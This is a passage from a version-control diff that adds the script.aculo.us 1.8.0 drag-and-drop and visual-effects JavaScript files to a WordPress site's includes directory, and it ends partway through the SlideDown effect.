+      options_for_draggable.reverteffect = options.reverteffect;
+    else
+      if(options.ghosting) options_for_draggable.reverteffect = function(element) {
+        element.style.top  = 0;
+        element.style.left = 0;
+      };
+
+    if(options.endeffect)
+      options_for_draggable.endeffect = options.endeffect;
+
+    if(options.zindex)
+      options_for_draggable.zindex = options.zindex;
+
+    // build options for the droppables  
+    var options_for_droppable = {
+      overlap:     options.overlap,
+      containment: options.containment,
+      tree:        options.tree,
+      hoverclass:  options.hoverclass,
+      onHover:     Sortable.onHover
+    }
+    
+    var options_for_tree = {
+      onHover:      Sortable.onEmptyHover,
+      overlap:      options.overlap,
+      containment:  options.containment,
+      hoverclass:   options.hoverclass
+    }
+
+    // fix for gecko engine
+    Element.cleanWhitespace(element); 
+
+    options.draggables = [];
+    options.droppables = [];
+
+    // drop on empty handling
+    if(options.dropOnEmpty || options.tree) {
+      Droppables.add(element, options_for_tree);
+      options.droppables.push(element);
+    }
+
+    (options.elements || this.findElements(element, options) || []).each( function(e,i) {
+      var handle = options.handles ? $(options.handles[i]) :
+        (options.handle ? $(e).select('.' + options.handle)[0] : e); 
+      options.draggables.push(
+        new Draggable(e, Object.extend(options_for_draggable, { handle: handle })));
+      Droppables.add(e, options_for_droppable);
+      if(options.tree) e.treeNode = element;
+      options.droppables.push(e);      
+    });
+    
+    if(options.tree) {
+      (Sortable.findTreeElements(element, options) || []).each( function(e) {
+        Droppables.add(e, options_for_tree);
+        e.treeNode = element;
+        options.droppables.push(e);
+      });
+    }
+
+    // keep reference
+    this.sortables[element.id] = options;
+
+    // for onupdate
+    Draggables.addObserver(new SortableObserver(element, options.onUpdate));
+
+  },
+
+  // return all suitable-for-sortable elements in a guaranteed order
+  findElements: function(element, options) {
+    return Element.findChildren(
+      element, options.only, options.tree ? true : false, options.tag);
+  },
+  
+  findTreeElements: function(element, options) {
+    return Element.findChildren(
+      element, options.only, options.tree ? true : false, options.treeTag);
+  },
+
+  onHover: function(element, dropon, overlap) {
+    if(Element.isParent(dropon, element)) return;
+
+    if(overlap > .33 && overlap < .66 && Sortable.options(dropon).tree) {
+      return;
+    } else if(overlap>0.5) {
+      Sortable.mark(dropon, 'before');
+      if(dropon.previousSibling != element) {
+        var oldParentNode = element.parentNode;
+        element.style.visibility = "hidden"; // fix gecko rendering
+        dropon.parentNode.insertBefore(element, dropon);
+        if(dropon.parentNode!=oldParentNode) 
+          Sortable.options(oldParentNode).onChange(element);
+        Sortable.options(dropon.parentNode).onChange(element);
+      }
+    } else {
+      Sortable.mark(dropon, 'after');
+      var nextElement = dropon.nextSibling || null;
+      if(nextElement != element) {
+        var oldParentNode = element.parentNode;
+        element.style.visibility = "hidden"; // fix gecko rendering
+        dropon.parentNode.insertBefore(element, nextElement);
+        if(dropon.parentNode!=oldParentNode) 
+          Sortable.options(oldParentNode).onChange(element);
+        Sortable.options(dropon.parentNode).onChange(element);
+      }
+    }
+  },
+  
+  onEmptyHover: function(element, dropon, overlap) {
+    var oldParentNode = element.parentNode;
+    var droponOptions = Sortable.options(dropon);
+        
+    if(!Element.isParent(dropon, element)) {
+      var index;
+      
+      var children = Sortable.findElements(dropon, {tag: droponOptions.tag, only: droponOptions.only});
+      var child = null;
+            
+      if(children) {
+        var offset = Element.offsetSize(dropon, droponOptions.overlap) * (1.0 - overlap);
+        
+        for (index = 0; index < children.length; index += 1) {
+          if (offset - Element.offsetSize (children[index], droponOptions.overlap) >= 0) {
+            offset -= Element.offsetSize (children[index], droponOptions.overlap);
+          } else if (offset - (Element.offsetSize (children[index], droponOptions.overlap) / 2) >= 0) {
+            child = index + 1 < children.length ? children[index + 1] : null;
+            break;
+          } else {
+            child = children[index];
+            break;
+          }
+        }
+      }
+      
+      dropon.insertBefore(element, child);
+      
+      Sortable.options(oldParentNode).onChange(element);
+      droponOptions.onChange(element);
+    }
+  },
+
+  unmark: function() {
+    if(Sortable._marker) Sortable._marker.hide();
+  },
+
+  mark: function(dropon, position) {
+    // mark on ghosting only
+    var sortable = Sortable.options(dropon.parentNode);
+    if(sortable && !sortable.ghosting) return; 
+
+    if(!Sortable._marker) {
+      Sortable._marker = 
+        ($('dropmarker') || Element.extend(document.createElement('DIV'))).
+          hide().addClassName('dropmarker').setStyle({position:'absolute'});
+      document.getElementsByTagName("body").item(0).appendChild(Sortable._marker);
+    }    
+    var offsets = Position.cumulativeOffset(dropon);
+    Sortable._marker.setStyle({left: offsets[0]+'px', top: offsets[1] + 'px'});
+    
+    if(position=='after')
+      if(sortable.overlap == 'horizontal') 
+        Sortable._marker.setStyle({left: (offsets[0]+dropon.clientWidth) + 'px'});
+      else
+        Sortable._marker.setStyle({top: (offsets[1]+dropon.clientHeight) + 'px'});
+    
+    Sortable._marker.show();
+  },
+  
+  _tree: function(element, options, parent) {
+    var children = Sortable.findElements(element, options) || [];
+  
+    for (var i = 0; i < children.length; ++i) {
+      var match = children[i].id.match(options.format);
+
+      if (!match) continue;
+      
+      var child = {
+        id: encodeURIComponent(match ? match[1] : null),
+        element: element,
+        parent: parent,
+        children: [],
+        position: parent.children.length,
+        container: $(children[i]).down(options.treeTag)
+      }
+      
+      /* Get the element containing the children and recurse over it */
+      if (child.container)
+        this._tree(child.container, options, child)
+      
+      parent.children.push (child);
+    }
+
+    return parent; 
+  },
+
+  tree: function(element) {
+    element = $(element);
+    var sortableOptions = this.options(element);
+    var options = Object.extend({
+      tag: sortableOptions.tag,
+      treeTag: sortableOptions.treeTag,
+      only: sortableOptions.only,
+      name: element.id,
+      format: sortableOptions.format
+    }, arguments[1] || { });
+    
+    var root = {
+      id: null,
+      parent: null,
+      children: [],
+      container: element,
+      position: 0
+    }
+    
+    return Sortable._tree(element, options, root);
+  },
+
+  /* Construct a [i] index for a particular node */
+  _constructIndex: function(node) {
+    var index = '';
+    do {
+      if (node.id) index = '[' + node.position + ']' + index;
+    } while ((node = node.parent) != null);
+    return index;
+  },
+
+  sequence: function(element) {
+    element = $(element);
+    var options = Object.extend(this.options(element), arguments[1] || { });
+    
+    return $(this.findElements(element, options) || []).map( function(item) {
+      return item.id.match(options.format) ? item.id.match(options.format)[1] : '';
+    });
+  },
+
+  setSequence: function(element, new_sequence) {
+    element = $(element);
+    var options = Object.extend(this.options(element), arguments[2] || { });
+    
+    var nodeMap = { };
+    this.findElements(element, options).each( function(n) {
+        if (n.id.match(options.format))
+            nodeMap[n.id.match(options.format)[1]] = [n, n.parentNode];
+        n.parentNode.removeChild(n);
+    });
+   
+    new_sequence.each(function(ident) {
+      var n = nodeMap[ident];
+      if (n) {
+        n[1].appendChild(n[0]);
+        delete nodeMap[ident];
+      }
+    });
+  },
+  
+  serialize: function(element) {
+    element = $(element);
+    var options = Object.extend(Sortable.options(element), arguments[1] || { });
+    var name = encodeURIComponent(
+      (arguments[1] && arguments[1].name) ? arguments[1].name : element.id);
+    
+    if (options.tree) {
+      return Sortable.tree(element, arguments[1]).children.map( function (item) {
+        return [name + Sortable._constructIndex(item) + "[id]=" + 
+                encodeURIComponent(item.id)].concat(item.children.map(arguments.callee));
+      }).flatten().join('&');
+    } else {
+      return Sortable.sequence(element, arguments[1]).map( function(item) {
+        return name + "[]=" + encodeURIComponent(item);
+      }).join('&');
+    }
+  }
+}
+
+// Returns true if child is contained within element
+Element.isParent = function(child, element) {
+  if (!child.parentNode || child == element) return false;
+  if (child.parentNode == element) return true;
+  return Element.isParent(child.parentNode, element);
+}
+
+Element.findChildren = function(element, only, recursive, tagName) {   
+  if(!element.hasChildNodes()) return null;
+  tagName = tagName.toUpperCase();
+  if(only) only = [only].flatten();
+  var elements = [];
+  $A(element.childNodes).each( function(e) {
+    if(e.tagName && e.tagName.toUpperCase()==tagName &&
+      (!only || (Element.classNames(e).detect(function(v) { return only.include(v) }))))
+        elements.push(e);
+    if(recursive) {
+      var grandchildren = Element.findChildren(e, only, recursive, tagName);
+      if(grandchildren) elements.push(grandchildren);
+    }
+  });
+
+  return (elements.length>0 ? elements.flatten() : []);
+}
+
+Element.offsetSize = function (element, type) {
+  return element['offset' + ((type=='vertical' || type=='height') ? 'Height' : 'Width')];
+}
Index: /trunk/www.guidonia.net/wp/wp-includes/js/scriptaculous/effects.js
===================================================================
--- /trunk/www.guidonia.net/wp/wp-includes/js/scriptaculous/effects.js	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-includes/js/scriptaculous/effects.js	(revision 44)
@@ -0,0 +1,1122 @@
+// script.aculo.us effects.js v1.8.0, Tue Nov 06 15:01:40 +0300 2007
+
+// Copyright (c) 2005-2007 Thomas Fuchs (http://script.aculo.us, http://mir.aculo.us)
+// Contributors:
+//  Justin Palmer (http://encytemedia.com/)
+//  Mark Pilgrim (http://diveintomark.org/)
+//  Martin Bialasinki
+// 
+// script.aculo.us is freely distributable under the terms of an MIT-style license.
+// For details, see the script.aculo.us web site: http://script.aculo.us/ 
+
+// converts rgb() and #xxx to #xxxxxx format,  
+// returns self (or first argument) if not convertable  
+String.prototype.parseColor = function() {  
+  var color = '#';
+  if (this.slice(0,4) == 'rgb(') {  
+    var cols = this.slice(4,this.length-1).split(',');  
+    var i=0; do { color += parseInt(cols[i]).toColorPart() } while (++i<3);  
+  } else {  
+    if (this.slice(0,1) == '#') {  
+      if (this.length==4) for(var i=1;i<4;i++) color += (this.charAt(i) + this.charAt(i)).toLowerCase();  
+      if (this.length==7) color = this.toLowerCase();  
+    }  
+  }  
+  return (color.length==7 ? color : (arguments[0] || this));  
+};
+
+/*--------------------------------------------------------------------------*/
+
+Element.collectTextNodes = function(element) {  
+  return $A($(element).childNodes).collect( function(node) {
+    return (node.nodeType==3 ? node.nodeValue : 
+      (node.hasChildNodes() ? Element.collectTextNodes(node) : ''));
+  }).flatten().join('');
+};
+
+Element.collectTextNodesIgnoreClass = function(element, className) {  
+  return $A($(element).childNodes).collect( function(node) {
+    return (node.nodeType==3 ? node.nodeValue : 
+      ((node.hasChildNodes() && !Element.hasClassName(node,className)) ? 
+        Element.collectTextNodesIgnoreClass(node, className) : ''));
+  }).flatten().join('');
+};
+
+Element.setContentZoom = function(element, percent) {
+  element = $(element);  
+  element.setStyle({fontSize: (percent/100) + 'em'});   
+  if (Prototype.Browser.WebKit) window.scrollBy(0,0);
+  return element;
+};
+
+Element.getInlineOpacity = function(element){
+  return $(element).style.opacity || '';
+};
+
+Element.forceRerendering = function(element) {
+  try {
+    element = $(element);
+    var n = document.createTextNode(' ');
+    element.appendChild(n);
+    element.removeChild(n);
+  } catch(e) { }
+};
+
+/*--------------------------------------------------------------------------*/
+
+var Effect = {
+  _elementDoesNotExistError: {
+    name: 'ElementDoesNotExistError',
+    message: 'The specified DOM element does not exist, but is required for this effect to operate'
+  },
+  Transitions: {
+    linear: Prototype.K,
+    sinoidal: function(pos) {
+      return (-Math.cos(pos*Math.PI)/2) + 0.5;
+    },
+    reverse: function(pos) {
+      return 1-pos;
+    },
+    flicker: function(pos) {
+      var pos = ((-Math.cos(pos*Math.PI)/4) + 0.75) + Math.random()/4;
+      return pos > 1 ? 1 : pos;
+    },
+    wobble: function(pos) {
+      return (-Math.cos(pos*Math.PI*(9*pos))/2) + 0.5;
+    },
+    pulse: function(pos, pulses) { 
+      pulses = pulses || 5; 
+      return (
+        ((pos % (1/pulses)) * pulses).round() == 0 ? 
+              ((pos * pulses * 2) - (pos * pulses * 2).floor()) : 
+          1 - ((pos * pulses * 2) - (pos * pulses * 2).floor())
+        );
+    },
+    spring: function(pos) { 
+      return 1 - (Math.cos(pos * 4.5 * Math.PI) * Math.exp(-pos * 6)); 
+    },
+    none: function(pos) {
+      return 0;
+    },
+    full: function(pos) {
+      return 1;
+    }
+  },
+  DefaultOptions: {
+    duration:   1.0,   // seconds
+    fps:        100,   // 100= assume 66fps max.
+    sync:       false, // true for combining
+    from:       0.0,
+    to:         1.0,
+    delay:      0.0,
+    queue:      'parallel'
+  },
+  tagifyText: function(element) {
+    var tagifyStyle = 'position:relative';
+    if (Prototype.Browser.IE) tagifyStyle += ';zoom:1';
+    
+    element = $(element);
+    $A(element.childNodes).each( function(child) {
+      if (child.nodeType==3) {
+        child.nodeValue.toArray().each( function(character) {
+          element.insertBefore(
+            new Element('span', {style: tagifyStyle}).update(
+              character == ' ' ? String.fromCharCode(160) : character), 
+              child);
+        });
+        Element.remove(child);
+      }
+    });
+  },
+  multiple: function(element, effect) {
+    var elements;
+    if (((typeof element == 'object') || 
+        Object.isFunction(element)) && 
+       (element.length))
+      elements = element;
+    else
+      elements = $(element).childNodes;
+      
+    var options = Object.extend({
+      speed: 0.1,
+      delay: 0.0
+    }, arguments[2] || { });
+    var masterDelay = options.delay;
+
+    $A(elements).each( function(element, index) {
+      new effect(element, Object.extend(options, { delay: index * options.speed + masterDelay }));
+    });
+  },
+  PAIRS: {
+    'slide':  ['SlideDown','SlideUp'],
+    'blind':  ['BlindDown','BlindUp'],
+    'appear': ['Appear','Fade']
+  },
+  toggle: function(element, effect) {
+    element = $(element);
+    effect = (effect || 'appear').toLowerCase();
+    var options = Object.extend({
+      queue: { position:'end', scope:(element.id || 'global'), limit: 1 }
+    }, arguments[2] || { });
+    Effect[element.visible() ? 
+      Effect.PAIRS[effect][1] : Effect.PAIRS[effect][0]](element, options);
+  }
+};
+
+Effect.DefaultOptions.transition = Effect.Transitions.sinoidal;
+
+/* ------------- core effects ------------- */
+
+Effect.ScopedQueue = Class.create(Enumerable, {
+  initialize: function() {
+    this.effects  = [];
+    this.interval = null;    
+  },
+  _each: function(iterator) {
+    this.effects._each(iterator);
+  },
+  add: function(effect) {
+    var timestamp = new Date().getTime();
+    
+    var position = Object.isString(effect.options.queue) ? 
+      effect.options.queue : effect.options.queue.position;
+    
+    switch(position) {
+      case 'front':
+        // move unstarted effects after this effect  
+        this.effects.findAll(function(e){ return e.state=='idle' }).each( function(e) {
+            e.startOn  += effect.finishOn;
+            e.finishOn += effect.finishOn;
+          });
+        break;
+      case 'with-last':
+        timestamp = this.effects.pluck('startOn').max() || timestamp;
+        break;
+      case 'end':
+        // start effect after last queued effect has finished
+        timestamp = this.effects.pluck('finishOn').max() || timestamp;
+        break;
+    }
+    
+    effect.startOn  += timestamp;
+    effect.finishOn += timestamp;
+
+    if (!effect.options.queue.limit || (this.effects.length < effect.options.queue.limit))
+      this.effects.push(effect);
+    
+    if (!this.interval)
+      this.interval = setInterval(this.loop.bind(this), 15);
+  },
+  remove: function(effect) {
+    this.effects = this.effects.reject(function(e) { return e==effect });
+    if (this.effects.length == 0) {
+      clearInterval(this.interval);
+      this.interval = null;
+    }
+  },
+  loop: function() {
+    var timePos = new Date().getTime();
+    for(var i=0, len=this.effects.length;i<len;i++) 
+      this.effects[i] && this.effects[i].loop(timePos);
+  }
+});
+
+Effect.Queues = {
+  instances: $H(),
+  get: function(queueName) {
+    if (!Object.isString(queueName)) return queueName;
+    
+    return this.instances.get(queueName) ||
+      this.instances.set(queueName, new Effect.ScopedQueue());
+  }
+};
+Effect.Queue = Effect.Queues.get('global');
+
+Effect.Base = Class.create({
+  position: null,
+  start: function(options) {
+    function codeForEvent(options,eventName){
+      return (
+        (options[eventName+'Internal'] ? 'this.options.'+eventName+'Internal(this);' : '') +
+        (options[eventName] ? 'this.options.'+eventName+'(this);' : '')
+      );
+    }
+    if (options && options.transition === false) options.transition = Effect.Transitions.linear;
+    this.options      = Object.extend(Object.extend({ },Effect.DefaultOptions), options || { });
+    this.currentFrame = 0;
+    this.state        = 'idle';
+    this.startOn      = this.options.delay*1000;
+    this.finishOn     = this.startOn+(this.options.duration*1000);
+    this.fromToDelta  = this.options.to-this.options.from;
+    this.totalTime    = this.finishOn-this.startOn;
+    this.totalFrames  = this.options.fps*this.options.duration;
+    
+    eval('this.render = function(pos){ '+
+      'if (this.state=="idle"){this.state="running";'+
+      codeForEvent(this.options,'beforeSetup')+
+      (this.setup ? 'this.setup();':'')+ 
+      codeForEvent(this.options,'afterSetup')+
+      '};if (this.state=="running"){'+
+      'pos=this.options.transition(pos)*'+this.fromToDelta+'+'+this.options.from+';'+
+      'this.position=pos;'+
+      codeForEvent(this.options,'beforeUpdate')+
+      (this.update ? 'this.update(pos);':'')+
+      codeForEvent(this.options,'afterUpdate')+
+      '}}');
+    
+    this.event('beforeStart');
+    if (!this.options.sync)
+      Effect.Queues.get(Object.isString(this.options.queue) ? 
+        'global' : this.options.queue.scope).add(this);
+  },
+  loop: function(timePos) {
+    if (timePos >= this.startOn) {
+      if (timePos >= this.finishOn) {
+        this.render(1.0);
+        this.cancel();
+        this.event('beforeFinish');
+        if (this.finish) this.finish(); 
+        this.event('afterFinish');
+        return;  
+      }
+      var pos   = (timePos - this.startOn) / this.totalTime,
+          frame = (pos * this.totalFrames).round();
+      if (frame > this.currentFrame) {
+        this.render(pos);
+        this.currentFrame = frame;
+      }
+    }
+  },
+  cancel: function() {
+    if (!this.options.sync)
+      Effect.Queues.get(Object.isString(this.options.queue) ? 
+        'global' : this.options.queue.scope).remove(this);
+    this.state = 'finished';
+  },
+  event: function(eventName) {
+    if (this.options[eventName + 'Internal']) this.options[eventName + 'Internal'](this);
+    if (this.options[eventName]) this.options[eventName](this);
+  },
+  inspect: function() {
+    var data = $H();
+    for(property in this)
+      if (!Object.isFunction(this[property])) data.set(property, this[property]);
+    return '#<Effect:' + data.inspect() + ',options:' + $H(this.options).inspect() + '>';
+  }
+});
+
+Effect.Parallel = Class.create(Effect.Base, {
+  initialize: function(effects) {
+    this.effects = effects || [];
+    this.start(arguments[1]);
+  },
+  update: function(position) {
+    this.effects.invoke('render', position);
+  },
+  finish: function(position) {
+    this.effects.each( function(effect) {
+      effect.render(1.0);
+      effect.cancel();
+      effect.event('beforeFinish');
+      if (effect.finish) effect.finish(position);
+      effect.event('afterFinish');
+    });
+  }
+});
+
+Effect.Tween = Class.create(Effect.Base, {
+  initialize: function(object, from, to) {
+    object = Object.isString(object) ? $(object) : object;
+    var args = $A(arguments), method = args.last(), 
+      options = args.length == 5 ? args[3] : null;
+    this.method = Object.isFunction(method) ? method.bind(object) :
+      Object.isFunction(object[method]) ? object[method].bind(object) : 
+      function(value) { object[method] = value };
+    this.start(Object.extend({ from: from, to: to }, options || { }));
+  },
+  update: function(position) {
+    this.method(position);
+  }
+});
+
+Effect.Event = Class.create(Effect.Base, {
+  initialize: function() {
+    this.start(Object.extend({ duration: 0 }, arguments[0] || { }));
+  },
+  update: Prototype.emptyFunction
+});
+
+Effect.Opacity = Class.create(Effect.Base, {
+  initialize: function(element) {
+    this.element = $(element);
+    if (!this.element) throw(Effect._elementDoesNotExistError);
+    // make this work on IE on elements without 'layout'
+    if (Prototype.Browser.IE && (!this.element.currentStyle.hasLayout))
+      this.element.setStyle({zoom: 1});
+    var options = Object.extend({
+      from: this.element.getOpacity() || 0.0,
+      to:   1.0
+    }, arguments[1] || { });
+    this.start(options);
+  },
+  update: function(position) {
+    this.element.setOpacity(position);
+  }
+});
+
+Effect.Move = Class.create(Effect.Base, {
+  initialize: function(element) {
+    this.element = $(element);
+    if (!this.element) throw(Effect._elementDoesNotExistError);
+    var options = Object.extend({
+      x:    0,
+      y:    0,
+      mode: 'relative'
+    }, arguments[1] || { });
+    this.start(options);
+  },
+  setup: function() {
+    this.element.makePositioned();
+    this.originalLeft = parseFloat(this.element.getStyle('left') || '0');
+    this.originalTop  = parseFloat(this.element.getStyle('top')  || '0');
+    if (this.options.mode == 'absolute') {
+      this.options.x = this.options.x - this.originalLeft;
+      this.options.y = this.options.y - this.originalTop;
+    }
+  },
+  update: function(position) {
+    this.element.setStyle({
+      left: (this.options.x  * position + this.originalLeft).round() + 'px',
+      top:  (this.options.y  * position + this.originalTop).round()  + 'px'
+    });
+  }
+});
+
+// for backwards compatibility
+Effect.MoveBy = function(element, toTop, toLeft) {
+  return new Effect.Move(element, 
+    Object.extend({ x: toLeft, y: toTop }, arguments[3] || { }));
+};
+
+Effect.Scale = Class.create(Effect.Base, {
+  initialize: function(element, percent) {
+    this.element = $(element);
+    if (!this.element) throw(Effect._elementDoesNotExistError);
+    var options = Object.extend({
+      scaleX: true,
+      scaleY: true,
+      scaleContent: true,
+      scaleFromCenter: false,
+      scaleMode: 'box',        // 'box' or 'contents' or { } with provided values
+      scaleFrom: 100.0,
+      scaleTo:   percent
+    }, arguments[2] || { });
+    this.start(options);
+  },
+  setup: function() {
+    this.restoreAfterFinish = this.options.restoreAfterFinish || false;
+    this.elementPositioning = this.element.getStyle('position');
+    
+    this.originalStyle = { };
+    ['top','left','width','height','fontSize'].each( function(k) {
+      this.originalStyle[k] = this.element.style[k];
+    }.bind(this));
+      
+    this.originalTop  = this.element.offsetTop;
+    this.originalLeft = this.element.offsetLeft;
+    
+    var fontSize = this.element.getStyle('font-size') || '100%';
+    ['em','px','%','pt'].each( function(fontSizeType) {
+      if (fontSize.indexOf(fontSizeType)>0) {
+        this.fontSize     = parseFloat(fontSize);
+        this.fontSizeType = fontSizeType;
+      }
+    }.bind(this));
+    
+    this.factor = (this.options.scaleTo - this.options.scaleFrom)/100;
+    
+    this.dims = null;
+    if (this.options.scaleMode=='box')
+      this.dims = [this.element.offsetHeight, this.element.offsetWidth];
+    if (/^content/.test(this.options.scaleMode))
+      this.dims = [this.element.scrollHeight, this.element.scrollWidth];
+    if (!this.dims)
+      this.dims = [this.options.scaleMode.originalHeight,
+                   this.options.scaleMode.originalWidth];
+  },
+  update: function(position) {
+    var currentScale = (this.options.scaleFrom/100.0) + (this.factor * position);
+    if (this.options.scaleContent && this.fontSize)
+      this.element.setStyle({fontSize: this.fontSize * currentScale + this.fontSizeType });
+    this.setDimensions(this.dims[0] * currentScale, this.dims[1] * currentScale);
+  },
+  finish: function(position) {
+    if (this.restoreAfterFinish) this.element.setStyle(this.originalStyle);
+  },
+  setDimensions: function(height, width) {
+    var d = { };
+    if (this.options.scaleX) d.width = width.round() + 'px';
+    if (this.options.scaleY) d.height = height.round() + 'px';
+    if (this.options.scaleFromCenter) {
+      var topd  = (height - this.dims[0])/2;
+      var leftd = (width  - this.dims[1])/2;
+      if (this.elementPositioning == 'absolute') {
+        if (this.options.scaleY) d.top = this.originalTop-topd + 'px';
+        if (this.options.scaleX) d.left = this.originalLeft-leftd + 'px';
+      } else {
+        if (this.options.scaleY) d.top = -topd + 'px';
+        if (this.options.scaleX) d.left = -leftd + 'px';
+      }
+    }
+    this.element.setStyle(d);
+  }
+});
+
+Effect.Highlight = Class.create(Effect.Base, {
+  initialize: function(element) {
+    this.element = $(element);
+    if (!this.element) throw(Effect._elementDoesNotExistError);
+    var options = Object.extend({ startcolor: '#ffff99' }, arguments[1] || { });
+    this.start(options);
+  },
+  setup: function() {
+    // Prevent executing on elements not in the layout flow
+    if (this.element.getStyle('display')=='none') { this.cancel(); return; }
+    // Disable background image during the effect
+    this.oldStyle = { };
+    if (!this.options.keepBackgroundImage) {
+      this.oldStyle.backgroundImage = this.element.getStyle('background-image');
+      this.element.setStyle({backgroundImage: 'none'});
+    }
+    if (!this.options.endcolor)
+      this.options.endcolor = this.element.getStyle('background-color').parseColor('#ffffff');
+    if (!this.options.restorecolor)
+      this.options.restorecolor = this.element.getStyle('background-color');
+    // init color calculations
+    this._base  = $R(0,2).map(function(i){ return parseInt(this.options.startcolor.slice(i*2+1,i*2+3),16) }.bind(this));
+    this._delta = $R(0,2).map(function(i){ return parseInt(this.options.endcolor.slice(i*2+1,i*2+3),16)-this._base[i] }.bind(this));
+  },
+  update: function(position) {
+    this.element.setStyle({backgroundColor: $R(0,2).inject('#',function(m,v,i){
+      return m+((this._base[i]+(this._delta[i]*position)).round().toColorPart()); }.bind(this)) });
+  },
+  finish: function() {
+    this.element.setStyle(Object.extend(this.oldStyle, {
+      backgroundColor: this.options.restorecolor
+    }));
+  }
+});
+
+Effect.ScrollTo = function(element) {
+  var options = arguments[1] || { },
+    scrollOffsets = document.viewport.getScrollOffsets(),
+    elementOffsets = $(element).cumulativeOffset(),
+    max = (window.height || document.body.scrollHeight) - document.viewport.getHeight();  
+
+  if (options.offset) elementOffsets[1] += options.offset;
+
+  return new Effect.Tween(null,
+    scrollOffsets.top,
+    elementOffsets[1] > max ? max : elementOffsets[1],
+    options,
+    function(p){ scrollTo(scrollOffsets.left, p.round()) }
+  );
+};
+
+/* ------------- combination effects ------------- */
+
+Effect.Fade = function(element) {
+  element = $(element);
+  var oldOpacity = element.getInlineOpacity();
+  var options = Object.extend({
+    from: element.getOpacity() || 1.0,
+    to:   0.0,
+    afterFinishInternal: function(effect) { 
+      if (effect.options.to!=0) return;
+      effect.element.hide().setStyle({opacity: oldOpacity}); 
+    }
+  }, arguments[1] || { });
+  return new Effect.Opacity(element,options);
+};
+
+Effect.Appear = function(element) {
+  element = $(element);
+  var options = Object.extend({
+  from: (element.getStyle('display') == 'none' ? 0.0 : element.getOpacity() || 0.0),
+  to:   1.0,
+  // force Safari to render floated elements properly
+  afterFinishInternal: function(effect) {
+    effect.element.forceRerendering();
+  },
+  beforeSetup: function(effect) {
+    effect.element.setOpacity(effect.options.from).show(); 
+  }}, arguments[1] || { });
+  return new Effect.Opacity(element,options);
+};
+
+Effect.Puff = function(element) {
+  element = $(element);
+  var oldStyle = { 
+    opacity: element.getInlineOpacity(), 
+    position: element.getStyle('position'),
+    top:  element.style.top,
+    left: element.style.left,
+    width: element.style.width,
+    height: element.style.height
+  };
+  return new Effect.Parallel(
+   [ new Effect.Scale(element, 200, 
+      { sync: true, scaleFromCenter: true, scaleContent: true, restoreAfterFinish: true }), 
+     new Effect.Opacity(element, { sync: true, to: 0.0 } ) ], 
+     Object.extend({ duration: 1.0, 
+      beforeSetupInternal: function(effect) {
+        Position.absolutize(effect.effects[0].element)
+      },
+      afterFinishInternal: function(effect) {
+         effect.effects[0].element.hide().setStyle(oldStyle); }
+     }, arguments[1] || { })
+   );
+};
+
+Effect.BlindUp = function(element) {
+  element = $(element);
+  element.makeClipping();
+  return new Effect.Scale(element, 0,
+    Object.extend({ scaleContent: false, 
+      scaleX: false, 
+      restoreAfterFinish: true,
+      afterFinishInternal: function(effect) {
+        effect.element.hide().undoClipping();
+      } 
+    }, arguments[1] || { })
+  );
+};
+
+Effect.BlindDown = function(element) {
+  element = $(element);
+  var elementDimensions = element.getDimensions();
+  return new Effect.Scale(element, 100, Object.extend({ 
+    scaleContent: false, 
+    scaleX: false,
+    scaleFrom: 0,
+    scaleMode: {originalHeight: elementDimensions.height, originalWidth: elementDimensions.width},
+    restoreAfterFinish: true,
+    afterSetup: function(effect) {
+      effect.element.makeClipping().setStyle({height: '0px'}).show(); 
+    },  
+    afterFinishInternal: function(effect) {
+      effect.element.undoClipping();
+    }
+  }, arguments[1] || { }));
+};
+
+Effect.SwitchOff = function(element) {
+  element = $(element);
+  var oldOpacity = element.getInlineOpacity();
+  return new Effect.Appear(element, Object.extend({
+    duration: 0.4,
+    from: 0,
+    transition: Effect.Transitions.flicker,
+    afterFinishInternal: function(effect) {
+      new Effect.Scale(effect.element, 1, { 
+        duration: 0.3, scaleFromCenter: true,
+        scaleX: false, scaleContent: false, restoreAfterFinish: true,
+        beforeSetup: function(effect) { 
+          effect.element.makePositioned().makeClipping();
+        },
+        afterFinishInternal: function(effect) {
+          effect.element.hide().undoClipping().undoPositioned().setStyle({opacity: oldOpacity});
+        }
+      })
+    }
+  }, arguments[1] || { }));
+};
+
+Effect.DropOut = function(element) {
+  element = $(element);
+  var oldStyle = {
+    top: element.getStyle('top'),
+    left: element.getStyle('left'),
+    opacity: element.getInlineOpacity() };
+  return new Effect.Parallel(
+    [ new Effect.Move(element, {x: 0, y: 100, sync: true }), 
+      new Effect.Opacity(element, { sync: true, to: 0.0 }) ],
+    Object.extend(
+      { duration: 0.5,
+        beforeSetup: function(effect) {
+          effect.effects[0].element.makePositioned(); 
+        },
+        afterFinishInternal: function(effect) {
+          effect.effects[0].element.hide().undoPositioned().setStyle(oldStyle);
+        } 
+      }, arguments[1] || { }));
+};
+
+Effect.Shake = function(element) {
+  element = $(element);
+  var options = Object.extend({
+    distance: 20,
+    duration: 0.5
+  }, arguments[1] || {});
+  var distance = parseFloat(options.distance);
+  var split = parseFloat(options.duration) / 10.0;
+  var oldStyle = {
+    top: element.getStyle('top'),
+    left: element.getStyle('left') };
+    return new Effect.Move(element,
+      { x:  distance, y: 0, duration: split, afterFinishInternal: function(effect) {
+    new Effect.Move(effect.element,
+      { x: -distance*2, y: 0, duration: split*2,  afterFinishInternal: function(effect) {
+    new Effect.Move(effect.element,
+      { x:  distance*2, y: 0, duration: split*2,  afterFinishInternal: function(effect) {
+    new Effect.Move(effect.element,
+      { x: -distance*2, y: 0, duration: split*2,  afterFinishInternal: function(effect) {
+    new Effect.Move(effect.element,
+      { x:  distance*2, y: 0, duration: split*2,  afterFinishInternal: function(effect) {
+    new Effect.Move(effect.element,
+      { x: -distance, y: 0, duration: split, afterFinishInternal: function(effect) {
+        effect.element.undoPositioned().setStyle(oldStyle);
+  }}) }}) }}) }}) }}) }});
+};
+
+Effect.SlideDown = function(element) {
+  element = $(element).cleanWhitespace();
+  // SlideDown need to have the content of the element wrapped in a container element with fixed height!
+  var oldInnerBottom = element.down().getStyle('bottom');
+  var elementDimensions = element.getDimensions();
+  return new Effect.Scale(element, 100, Object.extend({ 
+    scaleContent: false, 
+    scaleX: false, 
+    scaleFrom: window.opera ? 0 : 1,
+    scaleMode: {originalHeight: elementDimensions.height, originalWidth: elementDimensions.width},
+    restoreAfterFinish: true,
+    afterSetup: function(effect) {
+      effect.element.makePositioned();
+      effect.element.down().makePositioned();
+      if (window.opera) effect.element.setStyle({top: ''});
+      effect.element.makeClipping().setStyle({height: '0px'}).show(); 
+    },
+    afterUpdateInternal: function(effect) {
+      effect.element.down().setStyle({bottom:
+        (effect.dims[0] - effect.element.clientHeight) + 'px' }); 
